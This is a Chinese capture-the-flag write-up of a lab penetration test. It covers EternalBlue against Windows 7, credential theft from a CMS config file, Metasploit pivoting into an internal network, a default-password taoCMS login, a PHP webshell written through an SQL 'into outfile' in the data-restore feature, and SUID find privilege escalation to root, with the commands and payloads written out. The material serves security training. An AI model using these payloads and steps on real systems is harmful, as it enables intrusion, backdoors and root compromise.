2.flag{Uhe-two-290963f0bca6f42d6a6c857c4bea4a4a}#

这是直接进行文件路径猜测绕过管理权限的方法。

配置攻击模块，选择远程服务器地址，接受地址，然后选择payload。

就可以直接利用永恒之蓝打进去了。

ok，拿到shell了。

对了，忘记那个git文件泄露的flag了。

通过disrearch可以扫描到这个路径。

直接访问就可以下载到。

1.flag{Uhe-one-645305016}#

git文件泄露内的flag。

直接用dir扫描服务内的falg。可以发现 C:\phpstudy_pro\www\flag.php 存在flag。

直接用 type 读取。

1
C:\Windows\system32>type C:\phpstudy_pro\www\flag.php
2
type C:\phpstudy_pro\www\flag.php
3
<?php
4
$flag="flag{Uhe-three-2591c98b70119fe624898b1e424b5e91}"
5
?>
6
C:\Windows\system32>C

3.flag{Uhe-three-2591c98b70119fe624898b1e424b5e91}#

在服务器phpstudy的网站跟目录下，应该就是dedecms根目录下的flag。

5.flag{Uhe-five-dffed6c6caa5ce175965d87ad88f1234}#

在服务器桌面下的flag。

1
 Directory of C:\phpstudy_pro\Extensions\MySQL5.7.26\data\dedecmsv57utf8sp2
2

3
flagishere.frm   flagishere.MYD   flagishere.MYI
4
               3 File(s)          9,640 bytes

存在一个用flag命名的数据库。

大概率最后一个flag在这里面。

进入该文件查询，可以看见一个配置文件。

1
C:\phpstudy_pro\WWW\data>type C:\phpstudy_pro\WWW\data\common.inc.php
2
type C:\phpstudy_pro\WWW\data\common.inc.php
3
<?php
4
//数据库连接信息
5
$cfg_dbtype = 'mysql';
6
$cfg_dbhost = 'localhost';
7
$cfg_dbname = 'dedecmsv57utf8sp2';
8
$cfg_dbuser = 'root';
9
$cfg_dbpwd = 'youheyanxia2023';
10
$cfg_dbprefix = 'dede_';
11
$cfg_db_language = 'utf8';
12

13

14
?>
15
C:\phpstudy_pro\WWW\data>

直接读取配置文件 发现了数据库的账号密码。

连接数据库进行查表操作拿到flag。

4.flag{Uhe-four-5395f6369445c6985b6c7b9040b725cb}#

存在于数据库里面的flag。

一、前言 (不想手写了)#

这部分记录的起点，不是最开始扫外网，也不是最开始打 Win7，而是已经通过 Kali 成功利用 Win7 的 MS17-010，拿到了 Win7 的 Meterpreter 会话之后。

也就是说，这篇内容只关注“内网渗透这一段”：

• Kali 已经拿下 Win7
• Win7 是外网入口，也是内网跳板
• CentOS 是真正的内网靶机
• 目标是从 Win7 继续深入到 CentOS，并最终拿到 6-10 号 flag

这一步和前面的外网打点有一个本质区别：

外网打点的核心，是想办法进入第一台机器； 内网渗透的核心，是利用第一台机器作为跳板，看到原本看不到的网络，并继续向内推进。

二、环境理解：为什么 Win7 不是终点，而是跳板机#

这个环境里，Win7 有两张网卡：

• 一张在外网段 192.168.138.0/24
• 一张在内网段 10.10.10.0/24

Kali 在外网段，通过 EternalBlue 拿到了 Win7 的 shell。

CentOS 在内网段，Kali 本来是直接看不到它的。

所以 Win7 的作用不是“靶机打完就算结束”，而是：

Win7 既能和 Kali 通信，也能和 CentOS 通信，因此它天然就是一台跳板机。

从这个时候开始，思路就必须转变：

• 不是继续围着 Win7 本身转
• 而是利用 Win7 去接近 CentOS

三、拿到 Meterpreter 后，先做信息收集#

进入 meterpreter > 后，先执行：

1
getuid
2
sysinfo
3
ipconfig
4
arp

1
Server username: NT AUTHORITY\SYSTEM

1
192.168.138.128
2
10.10.10.3

1
run autoroute -s 10.10.10.0/24
2
run autoroute -p

这一步为什么这样做#

autoroute 的本质，不是去修改 Win7 的 Windows 路由表，而是在 Metasploit 框架本地 建立一条逻辑路由。

也就是说，以后只要是 MSF 自己内部支持的模块去访问 10.10.10.0/24，就会自动通过 Session 1 转发过去。

这一步的原理可以理解成：

• Win7 物理上能到 10.10.10.0/24
• MSF 认识到了这一点
• 所以 MSF 开始“借用”这条能力

当看到类似：

1
Subnet             Netmask            Gateway
2
10.10.10.0         255.255.255.0      Session 1

就说明这条内网路由已经建立成功了。

五、把 Meterpreter 挂到后台，为后续扫描让路

执行：

1
background

这不是退出会话，而是：

• 保留当前会话
• 保留当前权限
• 保留当前路由
• 把操作权还给 msfconsole

这一步为什么必要？

因为接下来要做的是：

• 调用扫描模块
• 调用代理模块
• 调用端口扫描模块

这些都需要在 MSF 控制台里完成，而不是一直停留在 meterpreter > 交互界面。

所以 background 本质上是：

把已拿到的跳板机会话暂时“挂起”，方便从总控台继续调度它。

六、扫描内网：不是盲扫，而是有选择地扫关键端口

回到 msf6 > 后，执行：

1
use auxiliary/scanner/portscan/tcp
2
set RHOSTS 10.10.10.1-254
3
set PORTS 22,80,443,3306,8080,8081,8000,6379
4
set THREADS 30
5
run

1. 为什么 RHOSTS 设成 10.10.10.1-254#

因为已经知道 Win7 的第二张网卡在 10.10.10.0/24。 所以内网的可能目标范围，自然就是 10.10.10.1 到 10.10.10.254。

这不是盲目扩大范围，而是基于已有信息推出来的最合理扫描边界。

2. 为什么不一开始全端口扫描#

因为现在扫描不是在本地直连，而是：

• Kali
• 经由 MSF
• 经由 Session 1
• 再到内网

这条链比本地直扫慢得多。

如果一开始就扫 1-65535：

• 时间很长
• 噪音很大
• 会话压力大
• 很容易造成误判

所以先选一组“最能代表主机角色”的端口去扫，更符合实际渗透习惯。

3. 为什么选这些端口#

1
22,80,443,3306,8080,8081,8000,6379

这些端口的意义分别是：

• 22：SSH，Linux 的典型服务
• 80/443：Web 服务的核心入口
• 8080/8081/8000：很多后台、面板、测试站、Tomcat、管理界面喜欢跑这些端口
• 3306：MySQL/MariaDB
• 6379：Redis

内网渗透时，端口扫描不是为了收集一堆数字，而是为了判断：

• 这台机器更像 Windows 还是 Linux
• 更像应用机、数据库机，还是网关
• 哪条攻击链最短

4. 为什么 THREADS 设 30#

线程数不是越高越好。

因为你现在所有流量都要穿过：

• 已经拿下的 Win7 会话
• Metasploit 的转发逻辑
• 内网目标

线程过高会导致：

• 会话不稳
• 扫描误判
• 超时增加
• 甚至把会话拖崩

所以 30 是一个相对保守、但足够快的折中值。

七、分析扫描结果：不是“谁端口多谁就是目标”#

扫描结果里出现了几个关键地址：

• 10.10.10.1
• 10.10.10.3
• 10.10.10.26

1
connection closed by remote host

1
10.10.10.26

八、做服务指纹识别：从“这台机子开了 80”推进到“这是一台 CentOS Apache PHP 站”#

继续探测 10.10.10.26：

1
use auxiliary/scanner/http/http_version
2
set RHOSTS 10.10.10.26
3
set RPORT 80
4
set SSL false
5
run

结果返回：

1
Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16

这一步很关键，因为它解决了两个问题：

1. 操作系统方向确认了：CentOS
2. 攻击面确认了：PHP Web 站

扫描端口只能说明“有门”； 服务指纹识别才说明“门后是什么”。

看到这个结果之后，目标就不再只是一个 IP，而是：

一台跑 Apache、OpenSSL、PHP 的 CentOS Web 服务器。

这意味着：

• Web 路线大概率是主线
• Linux 相关提权思路后面要考虑
• PHP CMS、上传、配置、数据库这些方向都值得关注

九、端口转发：把内网 Web 映射到 Kali 本地#

既然已经确认 10.10.10.26:80 是主入口，下一步最方便的做法就是做本地端口转发。

回到会话：

1
sessions -i 1
2
portfwd add -l 8088 -p 80 -r 10.10.10.26

这一步为什么这样做#

这条命令的意思是：

• 在 Kali 本地监听 8088
• 所有访问本地 8088 的请求
• 都通过 Win7 的会话
• 转发到 10.10.10.26:80

换句话说：

1
127.0.0.1:8088

不再是 Kali 本地服务，而是内网 CentOS 的 Web 端口。

十、验证链路打通：访问 127.0.0.1:8088#

端口转发成功后，在 Kali 里执行：

1
curl -i http://127.0.0.1:8088/

返回内容是：

1
恭喜你来到了这个地方，祝你玩的开心~
2
送你第六个Flag：flag{666_welcome_to_here}

这说明：

1. Kali 本地请求已经成功发出
2. 请求通过 Win7 Meterpreter 被转发
3. CentOS 的 Apache 正常处理请求
4. 返回内容成功回到 Kali

这一刻非常关键，因为它证明：

从 Kali 到 Win7，再到 CentOS Web 的整条路径，已经完全打通。

同时，也拿到了第 6 个 flag：

1
flag{666_welcome_to_here}

十一、识别 Web：进入 taoCMS#

继续访问：

1
http://127.0.0.1:8088/cms/

发现这是一个 taoCMS 站点。

这时的思路不是立刻上注入，而是先做最基础的业务逻辑打点：

• 看看前台结构
• 看后台入口
• 看有没有默认口令
• 看业务功能里有没有危险接口

这里一个很重要的经验是：

面对一个成熟 CMS，弱口令、默认后台、配置泄露，往往比注入更低成本。

十二、登录后台：为什么优先试默认口令#

后台入口：

1
http://127.0.0.1:8088/cms/admin/admin.php

默认账号密码是：

1
admin
2
tao

登录成功后，说明我们已经从“普通访客”进入到了“后台管理员”视角。

十三、第 7 个 flag：在后台配置页里#

进入后台后，在配置项里能看到一段文字，大意是：

1
鼓励你一下先送你第7个flag吧：flag{777_taocms_is_easy}

所以第 7 个 flag 是：

1
flag{777_taocms_is_easy}

这个 flag 的意义，不只是“拿到一个值”，更是在说明：

• 后台默认口令确实有效
• 你已经真正接管了后台
• 后续利用“后台功能”才有可能成立

十四、第 8 个 flag：不是靠 shell，而是正常走数据库链路#

登录后台以后，继续观察站点结构，可以发现：

• 文件上传限制很多
• 文件编辑不好使
• 后台 SQL 功能未必能直接执行

如果继续死磕上传，很容易陷进去。

所以更合理的思路是：

从站点配置反推数据库，再从数据库里找 flag。

最终拿第 8 个 flag 的方式#

通过数据库侧进入 taocms 数据库，在 flag 表里可以看到：

1
flag{phpmyadmin_8888}

这就是第 8 个 flag。

这一环的本质，是从“打 Web 页面”升级成了“打 Web 背后的数据库依赖”。

---

十五、为什么真正危险的点在“数据恢复”而不是“文件上传”#

继续深入后台后，会发现一个关键功能：数据恢复。

一开始看起来它很普通，像是管理员上传 SQL 备份文件、再恢复数据库。 但它真正危险的地方在于：

如果程序真的把你上传的内容当成 SQL 去执行，那你就不需要“上传 PHP 文件”，而是可以“让数据库替你写 PHP 文件”。

这就是为什么“数据恢复”比“文件上传”更危险。

文件上传为什么不顺手#

因为上传功能通常会限制：

• 扩展名
• MIME 类型
• 保存位置
• 保存逻辑

你就算上传成功，也未必能执行。

数据恢复为什么危险#

因为它处理的是“SQL 语句”。 而数据库里有一种经典写文件方式：

1
select '<?php @system($_POST["x"]);?>' into outfile '/var/www/html/cmdx.php';

这条语句的含义是：

• 让数据库把一段字符串写成文件
• 这个文件被写到 Web 根目录
• 文件内容是一段可执行 PHP 代码

也就是说：

不是你上传了后门，而是数据库替你生成了后门。

十六、通过数据恢复功能执行 SQL，写入 WebShell#

准备 SQL 文件，例如：

1
select '<?php @system($_POST["x"]);?>' into outfile '/var/www/html/cmdx.php';

然后通过后台的“数据恢复”功能，把这段 SQL 提交进去。

当这个 SQL 被数据库执行后，就会在 CentOS 的 Web 根目录下写出一个文件：

1
/var/www/html/cmdx.php

由于前面已经做了端口转发，所以从 Kali 看，它的访问地址就是：

1
http://127.0.0.1:8088/cmdx.php

十七、为什么写完 shell 后，先执行 id#

后门写好以后，第一件事不是立刻读 flag，而是先测试：

1
curl -s -X POST --data-urlencode 'x=id' http://127.0.0.1:8088/cmdx.php

返回：

1
uid=48(apache) gid=48(apache) groups=48(apache)

这一步非常标准。

为什么先执行 id#

因为 id 能同时验证四件事：

1. cmdx.php 是否真的存在
2. POST 参数是否正常传入
3. 命令执行是否生效
4. 当前执行身份是什么

如果一上来直接 cat /flag，失败了你不知道是哪一环出的问题。 而 id 是最小验证集，能最快确认整条回显链已经打通。

十八、第 9 个 flag：通过 find -exec cat /flag 读取#

确认命令执行成功后，继续执行：

1
curl -s -X POST --data-urlencode 'x=/usr/bin/find . -maxdepth 0 -exec cat /flag \;' http://127.0.0.1:8088/cmdx.php

返回：

1
ok,the ninth flag is flag{999_is_shell}

所以第 9 个 flag 是：

1
flag{999_is_shell}

为什么这里用 find -exec 而不是直接 cat /flag#

因为这一步不只是“读文件”，还在试探一个潜在提权点。

如果系统里的 /usr/bin/find 存在特殊权限，那么通过 -exec 执行出来的命令，可能会带着更高权限运行。

也就是说，这一步有双重目的：

• 读第 9 个 flag
• 顺手验证 find 是否值得用来提权

所以这一步其实已经开始进入提权阶段了。

十九、验证提权点：观察 euid=0(root)#

继续执行：

1
curl -s -X POST --data-urlencode 'x=/usr/bin/find . -maxdepth 0 -exec id \;' http://127.0.0.1:8088/cmdx.php

返回：

1
uid=48(apache) gid=48(apache) euid=0(root) groups=48(apache)

这一步最关键的不是 uid=48(apache)，而是：

1
euid=0(root)

为什么 euid=0(root) 这么重要#

Linux 里：

• uid 表示真实身份
• euid 表示当前进程实际用什么身份去执行权限检查

如果某个二进制程序带有 SUID root，那么普通用户执行它时，这个进程就会临时拿到 root 的有效身份。

也就是说，虽然命令是 Apache 用户发起的，但只要 find 这条链上带了 SUID，就会在执行时表现出：

1
euid=0(root)

这意味着：

你已经能够借助 find 这条链，以 root 有效身份执行命令。

这就是典型的 SUID 提权。

二十、第 10 个 flag：读取 /root/flag.txt#

确认 find 具备 root 有效权限后，继续执行：

1
curl -s -X POST --data-urlencode 'x=/usr/bin/find . -maxdepth 0 -exec cat /root/flag.txt \;' http://127.0.0.1:8088/cmdx.php

返回：

1
Cool man,You are root now!!! the lastest flag is flag{ten_is_result!}

所以第 10 个 flag 是：

1
flag{ten_is_result!}

这次内网渗透的完整逻辑可以概括成下面这条链：

1. Kali 通过 EternalBlue 拿下 Win7
2. 在 Win7 会话里发现第二张网卡 10.10.10.3
3. 说明 Win7 同时连接外网和内网，是天然跳板机
4. 通过 autoroute 把 10.10.10.0/24 路由到 Session 1
5. 使用端口扫描模块枚举内网主机和关键端口
6. 结合端口画像锁定 10.10.10.26 为真正的 CentOS 靶机
7. 用 http_version 识别出 Apache + PHP + CentOS Web 服务
8. 用 portfwd 把 10.10.10.26:80 映射到 Kali 本地 127.0.0.1:8088
9. 访问默认首页拿到第 6 个 flag
10. 识别站点为 taoCMS，进入后台
11. 利用默认口令 admin / tao 登录后台，拿到第 7 个 flag
12. 通过数据库链路进入 taocms 库，在 flag 表里拿到第 8 个 flag
13. 利用“数据恢复”功能执行 SQL，借 into outfile 写出 cmdx.php
14. 用 cmdx.php 执行命令，读取 /flag 拿到第 9 个 flag
15. 进一步利用 SUID find 触发 euid=0(root)，读取 /root/flag.txt
16. 最终拿到第 10 个 flag